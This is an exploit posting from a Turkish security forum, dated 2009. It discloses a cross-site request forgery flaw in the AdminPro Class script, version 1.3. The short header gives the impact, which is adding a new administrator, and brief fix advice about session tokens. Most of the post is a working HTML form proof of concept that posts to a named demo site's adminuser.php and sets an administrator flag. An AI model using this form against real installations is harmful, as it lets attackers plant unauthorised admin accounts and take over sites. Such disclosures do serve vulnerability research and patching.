AdminPro Class ~ XSRF Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > AdminPro Class ~ XSRF Vuln.

Madde
	Author : Bug Researchers/CWH1RLPOOL
	Date : 13.09.2009 20:21:49
	# AdminPro Class ~ XSRF Vuln. [Full Screen Display]

	<------------------- header data start ------------------- > ############################################################# # author : CWH1RLPOOL \| Bug Researchers # Script Name : AdminPro Class # version : 1.3 # Bug Type : XSRF # Infection : Yeni Admin Eklenebilir. # Bug Fix Advice : Form’a Oturum Key’i (Session Token) eklenmeli, eski sifre sorulmalidir. # NOTE:Demo Oldugu Için Yetkiler Sinirli,indirmenizi tavsiye ederim. ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > <form action=http://www.micronetwork.de/public/demo/adminpro/adminuser.php method=POST> <table align=center cellpadding=4 cellspacing=4> <td align=right>username: </td> <td align=left><input type=text name=username></td> <td align=right>password: </td> <td align=left><input type=password name=userpass></td> <td align=right>Administrator: </td> <td align=left><select name=isAdmin><option value=-1>NO<option value=1>YES</select></td> <td align=right>User Group: </td> <td align=left><select name=userGroup><option value=1>1<option value=2>2<option value=3>3<option value=4>4</select></td> <input type=hidden name=action value=newuser> <input type=reset id=button value=Reset> <input type=submit id=button value=Submit> </form> < -- bug code end of -- >